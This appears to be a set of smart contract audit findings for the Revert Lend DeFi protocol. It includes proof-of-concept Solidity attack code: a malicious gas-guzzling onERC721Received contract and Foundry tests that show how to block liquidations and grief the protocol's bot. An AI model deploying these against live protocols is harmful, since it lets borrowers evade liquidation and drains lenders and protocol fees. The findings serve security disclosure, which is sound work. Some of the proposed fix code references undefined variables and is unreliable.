Revert Lend - falconhoof's results

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1077-L1085

Vulnerability details

Summary

User being liquidated can take control of the external call onERC721Received to force revert the liquidation and also use up all the liquidator's transaction gas.

Vulnerability Details

During the liquidation process, NonfungiblePositionManager::safeTransferFrom is called to send the position borrower's NFT back to them after liquidation has been settled. safeTransferFrom first calls the onERC721Received method on the borrower's address to make sure that the borrower can receive ERC-721. The position borrower can take control of this external call with a malicious contract, using up all the gas in the transaction and causing an OOG reversion.

    function _cleanupLoan(uint256 tokenId, uint256 debtExchangeRateX96, uint256 lendExchangeRateX96, address owner)
        internal
    {
        _removeTokenFromOwner(owner, tokenId);
        _updateAndCheckCollateral(tokenId, debtExchangeRateX96, lendExchangeRateX96, loans[tokenId].debtShares, 0);
        delete loans[tokenId];
>>>     nonfungiblePositionManager.safeTransferFrom(address(this), owner, tokenId);
        emit Remove(tokenId, owner);
    }

POC

A few steps are needed to set up POC:

Add the malicious contract RevertLiquidate.sol contract to the src folder; already containing V3Oracle.sol & V3Vault.sol.

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;

    import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
    import "v3-periphery/interfaces/INonfungiblePositionManager.sol";
    import "@openzeppelin/contracts/access/Ownable.sol";
    import "./V3Vault.sol";

    import {console} from "forge-std/Test.sol";

    contract RevertLiquidate  is IERC721Receiver, Ownable {

            V3Vault public vault;
            INonfungiblePositionManager constant NPM = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
            bool repaying = false;
            uint256 counter = 0;

        // Constructor to initialize the auction contract
        constructor(V3Vault _vaultAddress) {
            vault = _vaultAddress;
        }

        modifier onlyAllowed() {
            require(msg.sender == address(this.owner()) || msg.sender == address(this), "Ownable: caller is not approved");
            _;
        }

        function approve(uint256 tokenId) public onlyAllowed {
            NPM.approve(address(vault), tokenId);
        }

        function create(uint256 tokenId) public onlyAllowed {
            vault.create(tokenId, address(this));
        }

        function borrow(uint256 tokenId, uint256 amount) public onlyAllowed {
            vault.borrow(tokenId, amount);
        }

        // if attacker wants to repay their loan and get their NFT back
        function repay(uint256 tokenId, uint256 amount, bool isShare) public onlyAllowed {

            repaying = true;

            vault.repay(tokenId, amount, isShare);

            repaying = false;

        }

        function guzzleGas() public {
            uint256 initialGas = gasleft();

            // Loop until only small amount gas left for the revert
            uint256 remainingGasThreshold = 5000;


            while(gasleft() > remainingGasThreshold) {
            
                counter += 1;
            }

            // Explicitly revert transcation
            revert("Consumed all gas");
        }

        function onERC721Received(
            address operator,
            address from,
            uint256 tokenId,
            bytes calldata data
        ) external override returns (bytes4) {

            if (repaying) {

                return IERC721Receiver.onERC721Received.selector;

            } else {

                guzzleGas();

            }
        }
    }

At the top of V3Vault.t.sol import the malicious contract as import "../../src/RevertLiquidate.sol";

Add the test testOOGLiquidationRevert function below to V3Vault.t.sol and run with a --gas-limit 50000000 flag

    function testOOGLiquidationRevert () external {
        uint256 debt;
        uint256 collateralValue;
        uint256 liquidationCost;
        uint256 debtShares;

        address BORROWER = address( 0x3333 );

        // deploy malicious contract
        vm.prank(BORROWER);
        RevertLiquidate revertLiquidate = new RevertLiquidate(vault);

        // transfer NFT to malicious contract
        vm.prank(TEST_NFT_ACCOUNT);
        NPM.safeTransferFrom(TEST_NFT_ACCOUNT, address(revertLiquidate), TEST_NFT);
        assertEq(NPM.ownerOf(TEST_NFT), address(revertLiquidate));

        // Add Liquidity
        _deposit(10000000, WHALE_ACCOUNT);

        // revertLiquidate adds collateral
        vm.startPrank(BORROWER);
        revertLiquidate.approve(TEST_NFT);
        revertLiquidate.create(TEST_NFT);
        vm.stopPrank();

        // Borrow max
        (,, collateralValue,,) = vault.loanInfo(TEST_NFT); 
        assertEq(collateralValue, 8847206);

        vm.prank(BORROWER);
        revertLiquidate.borrow(TEST_NFT, collateralValue);

        // wait 7 day - interest growing
        vm.warp(block.timestamp + 7 days);

        // debt is greater than collateral value
        (,, collateralValue, liquidationCost,) = vault.loanInfo(TEST_NFT);
        assertGt(debt, collateralValue);

        ( debtShares) = vault.loans(TEST_NFT);

        vm.startPrank(WHALE_ACCOUNT);
        USDC.approve(address(vault), liquidationCost);

        vm.expectRevert("EvmError: OutOfGas");
        vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));
        vm.stopPrank();
    }

Impact

Borrower can evade DOS any liquidation attempts on his loan. Liquidator will lose all of their transaction gas. Protocol can go underwater due to many unliquidatable bad loans.

Tools Used

Manual Review Foundry Testing

Recommendations

Safest thing would be to enact a pull mechanism whereby the NFT remains with the protocol after liquidation until such time as the Borrower initiates a transaction to send the NFT to themselves; hence they could not grief other users gas or revert the liquidation process.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/transformers/AutoRange.sol#L111-L272

Vulnerability details

Summary

Revert controlled AutoRange bot can be gas griefed and execute() reverted by malicious onERC721Received implementation

Vulnerability Details

The initiator of a transaction pays the transaction gas; in the case of AutoRange::execute() and AutoRange::executeWithVault(), this will be a Revert controlled bot which is set up as an operator. Newly minted NFTs are sent to users via NPM::safeTransferFrom() which uses the onERC721Received callback. An attacker can implement a malicious implementation of this callback; waste all the transaction gas and revreting the function to grief the protocol. It is expected that the gas spent by bots initiating transactions will be covered by protocol fees; however no protocol fees will be generated from the attacker's position as AutoRange::execute() will not complete; so the protocol will experience a loss.

Furthermore, once attacker has set the token's config from positionConfigs, the protocol has no way to stop the griefing occuring each time the bot detects that the tokenId meets the conditions for a Range Change. Token Config is only removed from positionConfigs at the end of execute() which the gas grief will prevent from being reached making it a recurring attack. The only recourse to the protocol is shutting down the contract completely by removing the bot address as an operator and DOSing the contract.

All this makes the likelihood of this attack quite high as it is a very inexpensive attack; user does not even need an open position and loan in the vault. A determined attacker

POC

Attacker would need to create a malicious contract to which they send their NPM NFT. Via this contract they can then add token config for this NFT to the AutoRange contract via AutoRange::configToken(). The malicious contract would need to have a malicious implementation such as the one below which uses as much gas as possible before reverting.

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external override returns (bytes4) {

    uint256 initialGas = gasleft();
    uint256 counter = 0;

    // Loop until only small amount gas is left for the revert
    uint256 remainingGasThreshold = 5000;

    while(gasleft() > remainingGasThreshold) {

        counter += 1;
    }

    // Explicitly revert transcation
    revert("Consumed the allotted gas");
        
    }

Impact

Protocol fees can be completely drained; particularly if a determined attacker sets token configs for multiple NFTs in AutoRange all linked to the same malicious contract. Lack of fees can DOS multiple functions like the bot initiated AutoRange functions and affect the protocol's profitability by draining fees.

Tools Used

Manual Review Foundry Testing

Recommendations

Enact a pull mechanism by transferring the newly minted NFT to a protocol owned contract such as the AutoRange contract itself from where the user initiates the transaction to transfer the NFT to themselves.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L550-L602

Vulnerability details

Summary

No minLoanSize can destabilise the protocol

Vulnerability Details

According to protocol team they plan to roll out the protocol with minLoanSize = 0 and adjust that number if needs be. This can be a big issue because there will be no incentive for liquidators to liquidate small underwater positions given the gas cost to do so would not make economic sense based on the incentive they would receive. It also opens up a cheap attack path for would be attackers whereby they can borrow many small loans which will go underwater as they accrue interest but will not be liquidated.

Impact

Can push the entire protocol into an underwater state. Underwater debt would first be covered by Protocol reserves and where they arent sufficient, lenders will bear the responsibility of the uneconomical clean up of bad debt so both the protocol and lenders stand to lose out.

Tools Used

Manual Review

Recommendations

Close the vulnerability by implementing a relaistic minLoanSize which will incentivise liquidators to clean up bad debt.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L301-L309 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L312-L320

Vulnerability details

Summary

maxMint() and maxDeposit() return values do not take into account all lending limits. maxWithdraw() and maxRedeem() do not take into account the availability of assets.

Vulnerability Details

The audit README.md states the Vault should comply with ERC/EIP4626; however this is not the case.

As stated in the ERC4626 specification: For maxDeposit MUST factor in both global and user-specific limits, like if deposits are entirely disabled (even temporarily) it MUST return 0. For maxMint MUST factor in both global and user-specific limits, like if mints are entirely disabled (even temporarily) it MUST return 0.

Both functions take into account the globalLendLimit but neither takes into account the daily limit imposed by dailyLendIncreaseLimitLeft which can entirely disable lending temporarily which breaks the ERC4626 specification.

As stated in the ERC4626 specification: For maxWithdraw() MUST factor in both global and user-specific limits, like if mints are entirely disabled (even temporarily) it MUST return 0. For maxRedeem() MUST factor in both global and user-specific limits, like if redemption is entirely disabled (even temporarily) it MUST return 0.

Neither function takes into account the availabe assets which is a key check in _withdraw() and can temporarily disable withdrawls and redemptions.

    function _withdraw(address receiver, address owner, uint256 amount, bool isShare)
        internal
        returns (uint256 assets, uint256 shares)
    {
        // SOME CODE

        (, uint256 available,) = _getAvailableBalance(newDebtExchangeRateX96, newLendExchangeRateX96);
        if (available < assets) {
            revert InsufficientLiquidity();
        }

        // SOME CODE
    }

Impact

Vault does not conform to ERC4626 which may break external integrations.

Tools Used

Manual Review

Recommendations

Update maxDeposit(), maxMint(), maxWithdraw() and maxRedeem() as:

function maxDeposit(address) external view override returns (uint256) {
    (, uint256 lendExchangeRateX96) = _calculateGlobalInterest();
    uint256 value = _convertToAssets(totalSupply(), lendExchangeRateX96, Math.Rounding.Up);

    // Check against global limit
    if (value >= globalLendLimit) {
        return 0;
    }
    uint256 maxBasedOnGlobalLimit = globalLendLimit - value;

    // Take daily limit into account
    uint256 maxBasedOnDailyLimit = dailyLendIncreaseLimitLeft;

    // Take minimum of the two limits
    return Math.min(maxBasedOnGlobalLimit, maxBasedOnDailyLimit);
}

function maxMint(address) external view override returns (uint256) {
    (, uint256 lendExchangeRateX96) = _calculateGlobalInterest();
    uint256 value = _convertToAssets(totalSupply(), lendExchangeRateX96, Math.Rounding.Up);

    // Check against global limit
    if (value >= globalLendLimit) {
        return 0;
    }
    
    uint256 maxAssetsBasedOnGlobalLimit = globalLendLimit - value;
    uint256 maxAssets = Math.min(maxAssetsBasedOnGlobalLimit, dailyLendIncreaseLimitLeft);
    
    // Convert max allowable assets to shares
    return _convertToShares(maxAssets, lendExchangeRateX96, Math.Rounding.Down);
}

function maxWithdraw(address owner) external view override returns (uint256) {
    (, uint256 lendExchangeRateX96) = _calculateGlobalInterest();
    uint256 ownerAssets = _convertToAssets(balanceOf(owner), lendExchangeRateX96, Math.Rounding.Down);

    // Check available liquidity
    (, uint256 available,) = _getAvailableBalance(newDebtExchangeRateX96, newLendExchangeRateX96);

    // Max withdrawn is the min of owner assets and available liquidity
    return (available < ownerAssets) ? available : ownerAssets;
}

function maxRedeem(address owner) external view override returns (uint256) {
    (, uint256 lendExchangeRateX96) = _calculateGlobalInterest();
    uint256 ownerAssets = _convertToAssets(balanceOf(owner), lendExchangeRateX96, Math.Rounding.Down);

    // Check available liquidity
    (, uint256 available,) = _getAvailableBalance(newDebtExchangeRateX96, newLendExchangeRateX96);

    // Calculate max shares
    uint256 maxRedeemableShares = _convertToShares(available, lendExchangeRateX96, Math.Rounding.Down);

    // Maximum redeemable is lesser of owner's balance or max redeemable shares
    return (maxRedeemableShares < balanceOf(owner)) ? maxRedeemableShares : balanceOf(owner);
}

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L954-L1014 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L685-L757

Vulnerability details

Summary

User can repay tiny portions of a liquidatable loan to cause liquidate functions to revert

Vulnerability Details

The check indicated below in liquidate() opens up a vulnerability whereby user can simply front-run a transaction to liquidate their loan by reducing their debtShares by any amount.

    function liquidate(LiquidateParams calldata params) external override returns (uint256 amount0, uint256 amount1) {
        // liquidation is not allowed during transformer mode
        if (transformedTokenId > 0) {
            revert TransformNotAllowed();
        }

        LiquidateState memory state;

        (state.newDebtExchangeRateX96, state.newLendExchangeRateX96) = _updateGlobalInterest();

        uint256 debtShares = loans[params.tokenId].debtShares;
>>>     if (debtShares != params.debtShares) {
            revert DebtChanged();
        }

This is possible because there is no health check in _repay() when user decreases their position, so a borrower can repay a tiny portion of an unhealthy loan without bringing it back into a healthy status; see here.

POC

Add the test testFrontRunLiquidation below to V3Vault.t.sol and run:

<details> <summary>testFrontRunLiquidation()</summary>

    function testFrontRunLiquidation () external {
        uint256 debt;
        uint256 fullValue;
        uint256 collateralValue;
        uint256 liquidationCost;
        uint256 liquidationValue;

        _setupBasicLoan(true);

        // debt is equal to collateralValue
        ( debt, fullValue, collateralValue, liquidationCost, liquidationValue) = vault.loanInfo(TEST_NFT); 
        assertEq(debt, collateralValue);

        // wait 7 day - interest growing
        vm.warp(block.timestamp + 7 days);

        // debt is greater than collateralValue
        ( debt, , collateralValue, liquidationCost, ) = vault.loanInfo(TEST_NFT);
        assertGt(debt, collateralValue);
        assertEq(liquidationCost, 8869647);

        vm.prank(WHALE_ACCOUNT);
        USDC.approve(address(vault), liquidationCost);

        // Whale calls to get debtShares to be liquidated
        (uint256 debtShares) = vault.loans(TEST_NFT);

        // Seeing liquidate transaction in mempool; user repays 2 wei
        vm.startPrank(TEST_NFT_ACCOUNT);
        USDC.approve(address(vault), liquidationCost);        
        vault.repay(TEST_NFT, 2, false);
        vm.stopPrank();

        // When whales transaction goes through it fails on DebtChanged() error
        vm.startPrank(WHALE_ACCOUNT);
        USDC.approve(address(vault), liquidationCost);
        vm.expectRevert(IErrors.DebtChanged.selector);
        vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));
    }

</details>

Impact

User can avoid liquidations by front running transactions called to liquidate them. Protocol can go underwater due to many unliquidatable bad loans.

Tools Used

Manual Review Foundry Testing

Recommendations

Add a health check to _repay() such that repayments are only accepted if the outcome brings the loan into a healthy status. If the borrower would remain in an unhealthy status after repayment the function should revert.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1032-L1073 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/transformers/AutoCompound.sol#L101-L181

Vulnerability details

Summary

Lack of deadline means transaction can be maliciously executed at any time.

Vulnerability Details

Use of block.timestamp as a deadline when interacting with UniswapV3's NonfungiblePositionManager nullifies the NonfungiblePositionManager's checkDeadline modifier; which is a protection against processing expired transactions; see checkDeadline here.

block.timestamp gets set only when the transaction is included in a block and so, no matter what block the transaction is added to; checkDeadline will always be comparing like for like and the condition will always pass.

This leaves transactions vulnerable to being maliciously executed by a miner at a later point when conditions are favourable to them. Value could be extracted from the UniswapV3 pool via a sandwich attack for example. Compounding the lack of deadline is the lack of minimumOut Amounts; which are set to 0, giving the malicious actor a lot of leeway. The issue is present when decreasing liquidity in V3Vault::_sendPositionValue(), when increasing liquidity in AutoCompound::execute()

    function _sendPositionValue(
        uint256 tokenId,
        uint256 liquidationValue,
        uint256 fullValue,
        uint256 feeValue,
        address recipient
    ) internal returns (uint256 amount0, uint256 amount1) {
        uint128 liquidity;
        uint128 fees0;
        uint128 fees1;

        // SOME CODE

        if (liquidity > 0) {
            nonfungiblePositionManager.decreaseLiquidity(
>>>             INonfungiblePositionManager.DecreaseLiquidityParams(tokenId, liquidity, 0, 0, block.timestamp)
            );
        }

        // SOME CODE
    }

    function execute(ExecuteParams calldata params) external nonReentrant {

    // SOME CODE

            if (state.maxAddAmount0 > 0 || state.maxAddAmount1 > 0) {
                _checkApprovals(state.token0, state.token1);

                (, state.compounded0, state.compounded1) = nonfungiblePositionManager.increaseLiquidity(
                    INonfungiblePositionManager.IncreaseLiquidityParams(
                        params.tokenId, state.maxAddAmount0, state.maxAddAmount1, 0, 0, block.timestamp
                    )
                );

                // fees are always calculated based on added amount (to incentivize optimal swap)
                state.amount0Fees = state.compounded0 * rewardX64 / Q64;
                state.amount1Fees = state.compounded1 * rewardX64 / Q64;
            }

    // SOME CODE
    }

Impact

If miner's don't process the transaction quickly, the pending transaction can sit in the mempool for an exctended period of time. Without a deadline, a malicious miner could execute it when conditions are favourable to them and detrimental to the liquidator, borrower and protocol.

Tools Used

Manual Review Foundry Testing

Recommendations

Do not use block.timestamp but a fixed value as a deadline to prevent delayed executions that could be exploited. Add checks to all functions interacting with NPM to ensure deadline is set to a fixed value; not block.timestamp

Assessed type

Timing